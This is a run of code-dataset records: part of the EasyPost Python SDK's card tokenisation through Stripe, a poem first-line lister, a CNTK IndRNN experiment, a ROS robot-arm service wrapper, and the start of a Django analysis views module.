easypost_stripe_api_key = ReferralCustomer._retrieve_easypost_stripe_api_key()\n\n try:\n stripe_token = ReferralCustomer._create_stripe_token(\n number,\n expiration_month,\n expiration_year,\n cvc,\n easypost_stripe_api_key,\n )\n except Exception:\n raise Error(message=\"Could not send card details to Stripe, please try again later\")\n\n response = ReferralCustomer._create_easypost_credit_card(\n referral_api_key,\n stripe_token.get(\"id\", \"\"),\n priority=priority,\n )\n return convert_to_easypost_object(response)\n\n @staticmethod\n def _retrieve_easypost_stripe_api_key() -> str:\n \"\"\"Retrieve EasyPost's Stripe public API key.\"\"\"\n requestor = Requestor()\n public_key, _ = requestor.request(\n method=RequestMethod.GET,\n url=\"/partners/stripe_public_key\",\n )\n return public_key.get(\"public_key\", \"\")\n\n @staticmethod\n def _create_stripe_token(\n number: str,\n expiration_month: int,\n expiration_year: int,\n cvc: str,\n easypost_stripe_key: str,\n ) -> Dict[str, Any]:\n \"\"\"Get credit card token from Stripe.\"\"\"\n headers = {\n # This Stripe endpoint only accepts URL form encoded bodies\n \"Content-type\": \"application/x-www-form-urlencoded\",\n }\n\n credit_card_dict = {\n \"card\": {\n \"number\": number,\n \"exp_month\": expiration_month,\n \"exp_year\": expiration_year,\n \"cvc\": cvc,\n }\n }\n\n form_encoded_params = Requestor.form_encode_params(credit_card_dict)\n url = \"https://api.stripe.com/v1/tokens\"\n\n stripe_response = requests.post(\n url,\n params=form_encoded_params,\n headers=headers,\n auth=requests.auth.HTTPBasicAuth(easypost_stripe_key, \"\"),\n timeout=TIMEOUT,\n )\n return stripe_response.json()\n\n @staticmethod\n def _create_easypost_credit_card(\n referral_api_key: str,\n stripe_object_id: str,\n priority: str = \"primary\",\n ) -> Dict[str, Any]:\n \"\"\"Submit Stripe credit card token to EasyPost.\"\"\"\n requestor = Requestor(local_api_key=referral_api_key)\n\n params = {\n \"credit_card\": {\n \"stripe_object_id\": stripe_object_id,\n \"priority\": priority,\n }\n }\n\n response, _ = requestor.request(\n method=RequestMethod.POST,\n params=params,\n url=\"/credit_cards\",\n )\n return response\n", "sub_path": "easypost/referral_customer.py", "file_name": "referral_customer.py", "file_ext": "py", "file_size_in_byte": 6006, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "typing.Optional", "line_number": 21, "usage_type": "name"}, {"api_name": "easypost.requestor.Requestor", "line_number": 26, "usage_type": "call"}, {"api_name": "easypost.requestor.RequestMethod.POST", "line_number": 29, "usage_type": "attribute"}, {"api_name": "easypost.requestor.RequestMethod", "line_number": 29, "usage_type": "name"}, {"api_name": "easypost.easypost_object.convert_to_easypost_object", "line_number": 33, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 36, "usage_type": "name"}, {"api_name": "easypost.requestor.Requestor", "line_number": 41, "usage_type": "call"}, {"api_name": "easypost.requestor.RequestMethod.PUT", "line_number": 49, "usage_type": "attribute"}, {"api_name": "easypost.requestor.RequestMethod", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 55, "usage_type": "name"}, {"api_name": "easypost.requestor.Requestor", "line_number": 60, "usage_type": "call"}, {"api_name": "easypost.requestor.RequestMethod.GET", "line_number": 62, "usage_type": "attribute"}, {"api_name": "easypost.requestor.RequestMethod", "line_number": 62, "usage_type": "name"}, {"api_name": "easypost.easypost_object.convert_to_easypost_object", "line_number": 66, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 55, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 73, "usage_type": "name"}, {"api_name": "easypost.requestor.Requestor", "line_number": 76, "usage_type": "call"}, {"api_name": "easypost.error.Error", "line_number": 81, "usage_type": "call"}, {"api_name": "easypost.requestor.RequestMethod.GET", "line_number": 88, "usage_type": "attribute"}, {"api_name": "easypost.requestor.RequestMethod", "line_number": 88, "usage_type": "name"}, {"api_name": "easypost.error.Error", "line_number": 90, "usage_type": "call"}, {"api_name": "easypost.easypost_object.convert_to_easypost_object", "line_number": 92, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 74, "usage_type": "name"}, {"api_name": "easypost.error.Error", "line_number": 118, "usage_type": "call"}, {"api_name": "easypost.easypost_object.convert_to_easypost_object", "line_number": 125, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 102, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 102, "usage_type": "name"}, {"api_name": "easypost.requestor.Requestor", "line_number": 130, "usage_type": "call"}, {"api_name": "easypost.requestor.RequestMethod.GET", "line_number": 132, "usage_type": "attribute"}, {"api_name": "easypost.requestor.RequestMethod", "line_number": 132, "usage_type": "name"}, {"api_name": "easypost.requestor.Requestor.form_encode_params", "line_number": 160, "usage_type": "call"}, {"api_name": "easypost.requestor.Requestor", "line_number": 160, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 163, "usage_type": "call"}, {"api_name": "requests.auth.HTTPBasicAuth", "line_number": 167, "usage_type": "call"}, {"api_name": "requests.auth", "line_number": 167, "usage_type": "attribute"}, {"api_name": "easypost.constant.TIMEOUT", "line_number": 168, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 144, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 144, "usage_type": "name"}, {"api_name": "easypost.requestor.Requestor", "line_number": 179, "usage_type": "call"}, {"api_name": "easypost.requestor.RequestMethod.POST", "line_number": 189, "usage_type": "attribute"}, {"api_name": "easypost.requestor.RequestMethod", "line_number": 189, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 177, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 177, "usage_type": "name"}]} {"seq_id": "473235653", "text": "#!/usr/bin/env python3\n\"\"\"\nAuthor : schackartk\nDate : 2019-02-22\nPurpose: Pull the first line of each poem within a directory\n\"\"\"\n\nimport argparse\nimport sys\nimport os\n\n# --------------------------------------------------\ndef get_args():\n \"\"\"get command-line arguments\"\"\"\n parser = argparse.ArgumentParser(\n description='Get the first lines',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument(\n 'positional', metavar='DIR', nargs='+', help='A positional argument')\n\n parser.add_argument(\n '-w',\n '--width',\n type=int,\n metavar='int',\n help='Output line width',\n default=50)\n\n return parser.parse_args()\n\n\n# --------------------------------------------------\ndef warn(msg):\n \"\"\"Print a message to STDERR\"\"\"\n print(msg, file=sys.stderr)\n\n\n# --------------------------------------------------\ndef die(msg='Something bad happened'):\n \"\"\"warn() and exit with error\"\"\"\n warn(msg)\n sys.exit(1)\n\n\n# --------------------------------------------------\ndef main():\n \"\"\"Make a jazz noise here\"\"\"\n args = get_args()\n dirs = args.positional\n width = args.width\n\n out = {}\n for dir_n in dirs:\n if not os.path.isdir(dir_n):\n print('\"{}\" is not a directory'.format(dir_n), file=sys.stderr)\n else:\n print(dir_n)\n files = os.listdir(dir_n)\n for file_n in files:\n with open('{}/{}'.format(dir_n,file_n)) as f:\n out[f.readline().strip()] = file_n \n for items in sorted (out):\n num_dots = width - len(items) - len(out[items])\n dots = '.' * num_dots\n print('{} {} {}'.format(items,dots,out[items]))\n out.clear()\n\n# --------------------------------------------------\nif __name__ == '__main__':\n main()\n", "sub_path": "assignments/06-python-first-lines/first_lines.py", "file_name": "first_lines.py", "file_ext": "py", "file_size_in_byte": 1885, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 36, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 59, "usage_type": "call"}]} {"seq_id": "521561367", "text": "#\n# Copyright (c) 2018 Wang XX\n#\n# MIT License\n# http://www.opensource.org/licenses/mit-license.php\n#\nimport cntk as C\nfrom cntk.initializer import xavier, glorot_uniform, normal\nfrom cntk.ops.functions import UserFunction\nfrom cntk.logging import ProgressPrinter\nimport numpy as np\nimport argparse\nprint(C.device.all_devices())\ntry:\n C.device.try_set_default_device(C.device.gpu(0))\n C.use_default_device()\nexcept:\n C.device.try_set_default_device(C.device.cpu())\n C.use_default_device()\nclass IndRNNUnit(object):\n def __init__(self, hidden_dim,input_size,\n recurrent_min_abs=None,\n recurrent_max_abs=None,\n recurrent_kernel_initializer=1.0,\n input_kernel_initializer=normal(0.01),\n activation=C.relu,\n name=None):\n\n self._hidden_dim=hidden_dim\n self._recurrent_min_abs=recurrent_min_abs\n self._recurrent_max_abs=recurrent_max_abs\n self._recurrent_initializer=recurrent_kernel_initializer\n self._input_initializer=input_kernel_initializer\n self._activation=activation\n self._input_size=input_size\n\n def checkbound(self):\n if self._recurrent_max_abs:\n self.recur_kernel.value = np.clip(self.recur_kernel.value, -self._recurrent_max_abs, self._recurrent_max_abs)\n\n if self._recurrent_min_abs:\n abs_kernel = np.clip(np.abs(self.recur_kernel.value), a_min=self._recurrent_min_abs, a_max=np.inf)\n self.recur_kernel.value = np.sign(self.recur_kernel.value) * abs_kernel\n\n # print('[DEBUG] abs kernel', self.recur_kernel.value)\n\n def build(self):\n self.input_kernel = C.Parameter(shape=(self._input_size, self._hidden_dim), init=self._input_initializer)\n self.recur_kernel = C.Parameter(shape=(self._hidden_dim,), init=self._recurrent_initializer)\n self.bias = C.Parameter(shape=(self._hidden_dim), init=0)\n @C.Function\n def runit(h,x):\n ht = self._activation(C.times(x, self.input_kernel) + h*self.recur_kernel+self.bias)\n return ht\n return runit\ndef get_batch(N, seq_len):\n X_num = np.random.uniform(low=0, high=1, size=(N, seq_len, 1))\n X_mask = np.zeros((N, seq_len, 1))\n Y = np.ones((N, 1))\n for i in range(N):\n # Default uniform distribution on position sampling\n positions = np.random.choice(seq_len, size=2, replace=False)\n X_mask[i, positions] = 1\n Y[i, 0] = np.sum(X_num[i, positions])\n X = np.append(X_num, X_mask, axis=2)\n return X, Y\n\n\ntimesteps = 1000\nRECURRENT_MAX = pow(2, 1 / timesteps)\nU_lowbound=pow(1.0/2.0, 1.0 / timesteps)\n\nbs = 50\nbase_lr = 0.2 #0.0002*bs\n\nif __name__=='__main__':\n HIDDEN_DIM=128\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--lstm', action='store_true')\n parser.add_argument('--lr', default=0.2, type=float)\n parser.add_argument('--bs', default=50, help='batch size', type=int)\n parser.add_argument('--time_step', default=1000, help='how long a sequence is', type=int)\n args=parser.parse_args()\n\n bs = args.bs\n base_lr = args.lr\n timesteps = args.time_step\n\n lrs = [(t, base_lr*(10**(-i))) for i,t in enumerate(range(1, 60000, 20000))]\n print(lrs)\n lr_schedule = C.learners.learning_parameter_schedule(lrs)\n\n if not args.lstm:\n input_ph=C.sequence.input_variable(2)\n targets_ph=C.input_variable(shape=1)\n\n runit1 = IndRNNUnit(HIDDEN_DIM, 2, recurrent_max_abs=RECURRENT_MAX, recurrent_min_abs=0)\n runit2 = IndRNNUnit(HIDDEN_DIM, HIDDEN_DIM, recurrent_max_abs=RECURRENT_MAX, recurrent_min_abs=U_lowbound)\n model = C.layers.Sequential([\n C.layers.Recurrence(runit1.build()),\n C.layers.Fold(runit2.build()),\n C.layers.Dense(1, init_bias=0.1, init=C.normal(0.001))\n ])\n output = model(input_ph)\n\n loss = C.reduce_mean(C.square(output-targets_ph)) #C.losses.squared_error(output, targets_ph)\n comp = C.combine(output, loss)\n tensorboard_writer = C.logging.TensorBoardProgressWriter(bs, log_dir='.',model=loss)\n learner = C.learners.adam(loss.parameters, lr_schedule, 0.9)\n trainer = C.Trainer(output, loss, learner,[ProgressPrinter(20), tensorboard_writer])\n\n for step in range(60000):\n input, target = get_batch(500, timesteps)\n runit1.checkbound()\n runit2.checkbound()\n trainer.train_minibatch({input_ph:input, targets_ph:target})\n if step % 200==0:\n trainer.summarize_training_progress()\n print('[training indrnn] lr:', learner.learning_rate())\n\n res = output.eval({input_ph:input})\n print('predict:{}\\ntarget:{}'.format(res,target))\n else:\n # === just use lstm ===\n input_ph2 = C.sequence.input_variable(2)\n targets_ph2 = C.input_variable(shape=1)\n model2 = C.layers.Sequential([\n C.layers.Recurrence(C.layers.LSTM(HIDDEN_DIM)),\n C.sequence.last,\n C.layers.Dense(1, init_bias=0.1, init=C.normal(0.001))\n ])\n output2 = model2(input_ph2)\n\n loss2 = C.losses.squared_error(output2, targets_ph2)\n comp2 = C.combine(output2, loss2)\n tensorboard_writer2 = C.logging.TensorBoardProgressWriter(bs, log_dir='.',model=loss2)\n learner2 = C.learners.adam(loss2.parameters, lr_schedule, 0.9)\n trainer2 = C.Trainer(output2, loss2, learner2, [ProgressPrinter(20), tensorboard_writer2])\n\n for step in range(60000):\n input, target = get_batch(10, timesteps)\n trainer2.train_minibatch({input_ph2:input, targets_ph2:target})\n if step % 200 == 0:\n trainer2.summarize_training_progress()\n\n res = output2.eval({input_ph2:input})\n print('predict:{}\\ntarget:{}'.format(res,target))\n\n", "sub_path": "examples/cntk/python/NumpyExperiment/IndRNN.py", "file_name": "IndRNN.py", "file_ext": "py", "file_size_in_byte": 5833, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cntk.device.all_devices", "line_number": 13, "usage_type": "call"}, {"api_name": "cntk.device", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cntk.device.try_set_default_device", "line_number": 15, "usage_type": "call"}, {"api_name": "cntk.device", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cntk.device.gpu", "line_number": 15, "usage_type": "call"}, {"api_name": "cntk.use_default_device", "line_number": 16, "usage_type": "call"}, {"api_name": "cntk.device.try_set_default_device", "line_number": 18, "usage_type": "call"}, {"api_name": "cntk.device", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cntk.device.cpu", "line_number": 18, "usage_type": "call"}, {"api_name": "cntk.use_default_device", "line_number": 19, "usage_type": "call"}, {"api_name": "cntk.initializer.normal", "line_number": 25, "usage_type": "call"}, {"api_name": "cntk.relu", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.sign", "line_number": 43, "usage_type": "call"}, {"api_name": "cntk.Parameter", "line_number": 48, "usage_type": "call"}, {"api_name": "cntk.Parameter", "line_number": 49, "usage_type": "call"}, {"api_name": "cntk.Parameter", "line_number": 50, "usage_type": "call"}, {"api_name": "cntk.times", "line_number": 53, "usage_type": "call"}, {"api_name": "cntk.Function", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 65, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 79, "usage_type": "call"}, {"api_name": "cntk.learners.learning_parameter_schedule", "line_number": 92, "usage_type": "call"}, {"api_name": "cntk.learners", "line_number": 92, "usage_type": "attribute"}, {"api_name": "cntk.sequence.input_variable", "line_number": 95, "usage_type": "call"}, {"api_name": "cntk.sequence", "line_number": 95, "usage_type": "attribute"}, {"api_name": "cntk.input_variable", "line_number": 96, "usage_type": "call"}, {"api_name": "cntk.layers.Sequential", "line_number": 100, "usage_type": "call"}, {"api_name": "cntk.layers", "line_number": 100, "usage_type": "attribute"}, {"api_name": "cntk.layers.Recurrence", "line_number": 101, "usage_type": "call"}, {"api_name": "cntk.layers", "line_number": 101, "usage_type": "attribute"}, {"api_name": "cntk.layers.Fold", "line_number": 102, "usage_type": "call"}, {"api_name": "cntk.layers", "line_number": 102, "usage_type": "attribute"}, {"api_name": "cntk.layers.Dense", "line_number": 103, "usage_type": "call"}, {"api_name": "cntk.layers", "line_number": 103, "usage_type": "attribute"}, {"api_name": "cntk.normal", "line_number": 103, "usage_type": "call"}, {"api_name": "cntk.reduce_mean", "line_number": 107, "usage_type": "call"}, {"api_name": "cntk.square", "line_number": 107, "usage_type": "call"}, {"api_name": "cntk.combine", "line_number": 108, "usage_type": "call"}, {"api_name": "cntk.logging.TensorBoardProgressWriter", "line_number": 109, "usage_type": "call"}, {"api_name": "cntk.logging", "line_number": 109, "usage_type": "attribute"}, {"api_name": "cntk.learners.adam", "line_number": 110, "usage_type": "call"}, {"api_name": "cntk.learners", "line_number": 110, "usage_type": "attribute"}, {"api_name": "cntk.Trainer", "line_number": 111, "usage_type": "call"}, {"api_name": "cntk.logging.ProgressPrinter", "line_number": 111, "usage_type": "call"}, {"api_name": "cntk.sequence.input_variable", "line_number": 126, "usage_type": "call"}, {"api_name": "cntk.sequence", "line_number": 126, "usage_type": "attribute"}, {"api_name": "cntk.input_variable", "line_number": 127, "usage_type": "call"}, {"api_name": "cntk.layers.Sequential", "line_number": 128, "usage_type": "call"}, {"api_name": "cntk.layers", "line_number": 128, "usage_type": "attribute"}, {"api_name": "cntk.layers.Recurrence", "line_number": 129, "usage_type": "call"}, {"api_name": "cntk.layers", "line_number": 129, "usage_type": "attribute"}, {"api_name": "cntk.layers.LSTM", "line_number": 129, "usage_type": "call"}, {"api_name": "cntk.sequence", "line_number": 130, "usage_type": "attribute"}, {"api_name": "cntk.layers.Dense", "line_number": 131, "usage_type": "call"}, {"api_name": "cntk.layers", "line_number": 131, "usage_type": "attribute"}, {"api_name": "cntk.normal", "line_number": 131, "usage_type": "call"}, {"api_name": "cntk.losses.squared_error", "line_number": 135, "usage_type": "call"}, {"api_name": "cntk.losses", "line_number": 135, "usage_type": "attribute"}, {"api_name": "cntk.combine", "line_number": 136, "usage_type": "call"}, {"api_name": "cntk.logging.TensorBoardProgressWriter", "line_number": 137, "usage_type": "call"}, {"api_name": "cntk.logging", "line_number": 137, "usage_type": "attribute"}, {"api_name": "cntk.learners.adam", "line_number": 138, "usage_type": "call"}, {"api_name": "cntk.learners", "line_number": 138, "usage_type": "attribute"}, {"api_name": "cntk.Trainer", "line_number": 139, "usage_type": "call"}, {"api_name": "cntk.logging.ProgressPrinter", "line_number": 139, "usage_type": "call"}]} {"seq_id": "16438710", "text": "import rospy\nimport tf\n\nimport euroc_ros_msgs.msg as euroc_ros_msgs\nimport euroc_ros_msgs.srv as euroc_ros_srvs\n\nclass KmrIiwaWrapper:\n def __init__(self, kmriiwa_simulated):\n\n self.kmriiwa_simulated = kmriiwa_simulated;\n\n # List of available services and their types\n kmriiwa_services = [\n ('/move_joints', euroc_ros_srvs.MoveJoints, self.on_move_joints),\n ('/move_joint_path', euroc_ros_srvs.MoveJointPath, self.on_move_joint_path),\n ('/move_relative_tcp', euroc_ros_srvs.MoveRelativeTCP, self.on_move_relative_tcp),\n ('/move_relative_platform', euroc_ros_srvs.MoveRelativePlatform, self.on_move_relative_platform),\n ('/move_absolute_navigation', euroc_ros_srvs.MoveAbsoluteNavigation, self.on_move_absolute_platform),\n ('/get_forward_kinematic', euroc_ros_srvs.GetForwardKinematic, self.on_get_forward_kinematic),\n #('/get_inverse_kinematic', euroc_ros_srvs.GetInverseKinematic, self.on_get_inverse_kinematic),\n ('/get_navigation_pose', euroc_ros_srvs.GetNavigationPose, self.on_get_navigation_pose)\n ]\n\n kmriiwa_node = '/miiwa'\n self.services = dict()\n for name, msg, callback in kmriiwa_services:\n service_name = kmriiwa_node + name\n self.services[name] = rospy.Service(service_name, msg, callback)\n\n kmriiwa_topics = [\n ('/joint_state', euroc_ros_msgs.JointState),\n ('/tcp_state', euroc_ros_msgs.TCPState)\n ]\n\n self.publishers = dict()\n for name, msg in kmriiwa_topics:\n topic_name = kmriiwa_node + name\n self.publishers[name] = rospy.Publisher(topic_name, msg, queue_size=10)\n\n self.tb = tf.TransformBroadcaster()\n\n def on_move_joints(self, req):\n # Move the joints of the lbr kmriiwa to the requested joint position\n self.kmriiwa_simulated.move_joints(req.desired_joint_positions.values, req.parameter.velocity, req.parameter.blocking)\n return euroc_ros_srvs.MoveJointsResponse(\"\")\n\n def on_move_joint_path(self, req):\n # Move the joints of the lbr kmriiwa along the requested joint path\n path = []\n for desired_position in req.path.positions:\n path.append(desired_position.values)\n self.kmriiwa_simulated.move_joint_path(path, req.parameter.velocity, req.parameter.blocking)\n return euroc_ros_srvs.MoveJointPathResponse(\"\")\n\n def on_move_relative_tcp(self, req):\n self.kmriiwa_simulated.move_relative_tcp(req.transformation, req.parameter.velocity, req.parameter.blocking)\n return euroc_ros_srvs.MoveRelativeTCPResponse(\"\")\n\n def on_move_relative_platform(self, req):\n #rospy.loginfo(\"rel_pose: %s\", req.rel_pose)\n self.kmriiwa_simulated.move_relative_platform(req.rel_pose, req.parameter.velocity, req.parameter.blocking)\n return euroc_ros_srvs.MoveRelativePlatformResponse(\"\")\n\n def on_move_absolute_platform(self, req):\n self.kmriiwa_simulated.move_absolute_platform(req.destination_pose, req.parameter.velocity, req.parameter.blocking)\n return euroc_ros_srvs.MoveAbsoluteNavigationResponse(\"\")\n\n def on_get_forward_kinematic(self, req):\n position, rotation = self.kmriiwa_simulated.get_forward_kinematic(req.joint_position.values)\n tcp_pose = euroc_ros_msgs.TransformationXyzAbc()\n tcp_pose.x = position[0]\n tcp_pose.y = position[1]\n tcp_pose.z = position[2]\n tcp_pose.a = rotation[0]\n tcp_pose.b = rotation[1]\n tcp_pose.c = rotation[2]\n return euroc_ros_srvs.GetForwardKinematicResponse(tcp_pose, \"\")\n\n #def on_get_inverse_kinematic(self, req):\n # found_joint_positions = self.kmriiwa_simulated.get_inverse_kinematic(\n # req.corresponding_joint_position.values,\n # [req.tcp_pose.x, req.tcp_pose.y, req.tcp_pose.z],\n # [req.tcp_pose.a, req.tcp_pose.b, req.tcp_pose.c]\n # )\n # if found_joint_positions is None:\n # return euroc_ros_srvs.GetInverseKinematicResponse(euroc_ros_msgs.JointPosition(), \"Cannot find inverse kinematic\")\n # \n # joint_position = euroc_ros_msgs.JointPosition()\n # joint_position.values = found_joint_positions\n # return euroc_ros_srvs.GetInverseKinematicResponse(joint_position, \"\")\n\n def on_get_navigation_pose(self, req):\n message = euroc_ros_msgs.PlatformPose()\n pp = self.kmriiwa_simulated.get_platform_pose();\n message.x = pp[0]\n message.y = pp[1]\n message.theta = pp[2]\n\n return euroc_ros_srvs.GetNavigationPoseResponse(message, \"\")\n\n def publish(self):\n message = euroc_ros_msgs.JointState()\n message.stamp = rospy.Time.now()\n (message.positions, message.measured_torques, message.external_torques, tcp_pose) = self.kmriiwa_simulated.get_joint_state();\n self.publishers['/joint_state'].publish(message)\n\n message = euroc_ros_msgs.TCPState()\n message.stamp = rospy.Time.now()\n message.pose.x = tcp_pose[0]\n message.pose.y = tcp_pose[1]\n message.pose.z = tcp_pose[2]\n message.pose.a = tcp_pose[3]\n message.pose.b = tcp_pose[4]\n message.pose.c = tcp_pose[5]\n self.publishers['/tcp_state'].publish(message)\n\n self.tb.sendTransform((7.89507, 9.32864, 0), \n tf.transformations.quaternion_from_euler(0, 0, 0),\n rospy.Time.now(),\n \"world\", \"map_base\")\n\n self.tb.sendTransform((0, 0, 0.16), \n tf.transformations.quaternion_from_euler(0, 0, 0),\n rospy.Time.now(),\n \"tcp\", \"lbr_iiwa_link_7\")\n\n\n\n", "sub_path": "kuka_pentomino/src/ec2_sim/scripts/saved/kmriiwa_wrapper.py", "file_name": "kmriiwa_wrapper.py", "file_ext": "py", "file_size_in_byte": 5776, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "euroc_ros_msgs.srv.MoveJoints", "line_number": 14, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 14, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.MoveJointPath", "line_number": 15, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 15, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.MoveRelativeTCP", "line_number": 16, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 16, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.MoveRelativePlatform", "line_number": 17, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 17, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.MoveAbsoluteNavigation", "line_number": 18, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 18, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.GetForwardKinematic", "line_number": 19, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 19, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.GetNavigationPose", "line_number": 21, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 21, "usage_type": "name"}, {"api_name": "rospy.Service", "line_number": 28, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.msg.JointState", "line_number": 31, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.msg", "line_number": 31, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.msg.TCPState", "line_number": 32, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.msg", "line_number": 32, "usage_type": "name"}, {"api_name": "rospy.Publisher", "line_number": 38, "usage_type": "call"}, {"api_name": "tf.TransformBroadcaster", "line_number": 40, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.srv.MoveJointsResponse", "line_number": 45, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 45, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.MoveJointPathResponse", "line_number": 53, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 53, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.MoveRelativeTCPResponse", "line_number": 57, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 57, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.MoveRelativePlatformResponse", "line_number": 62, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 62, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.MoveAbsoluteNavigationResponse", "line_number": 66, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 66, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.msg.TransformationXyzAbc", "line_number": 70, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.msg", "line_number": 70, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.GetForwardKinematicResponse", "line_number": 77, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 77, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.msg.PlatformPose", "line_number": 93, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.msg", "line_number": 93, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.srv.GetNavigationPoseResponse", "line_number": 99, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.srv", "line_number": 99, "usage_type": "name"}, {"api_name": "euroc_ros_msgs.msg.JointState", "line_number": 102, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.msg", "line_number": 102, "usage_type": "name"}, {"api_name": "rospy.Time.now", "line_number": 103, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 103, "usage_type": "attribute"}, {"api_name": "euroc_ros_msgs.msg.TCPState", "line_number": 107, "usage_type": "call"}, {"api_name": "euroc_ros_msgs.msg", "line_number": 107, "usage_type": "name"}, {"api_name": "rospy.Time.now", "line_number": 108, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 108, "usage_type": "attribute"}, {"api_name": "tf.transformations.quaternion_from_euler", "line_number": 118, "usage_type": "call"}, {"api_name": "tf.transformations", "line_number": 118, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 119, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tf.transformations.quaternion_from_euler", "line_number": 123, "usage_type": "call"}, {"api_name": "tf.transformations", "line_number": 123, "usage_type": "attribute"}, {"api_name": "rospy.Time.now", "line_number": 124, "usage_type": "call"}, {"api_name": "rospy.Time", "line_number": 124, "usage_type": "attribute"}]} {"seq_id": "345861606", "text": "from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils import timezone\nfrom django.utils.translation import activate, ugettext, ugettext_lazy\nfrom transactions.models import Account, Currency\nfrom . import queries\nimport json\nimport datetime as dt\nimport requests\nfrom pprint import pprint\nimport re\n\n\nDATE_FORMAT = \"%Y-%m-%d\"\nUAH = \"UAH\"\n\n\ndef get_colors():\n colors = [\"#FF0F00\"]\n try:\n with open('analysis/static/analysis/colors.json') as f:\n colors = json.loads(f.read())\n colors.reverse()\n except Exception as e:\n print(e)\n return colors\n\n\ndef 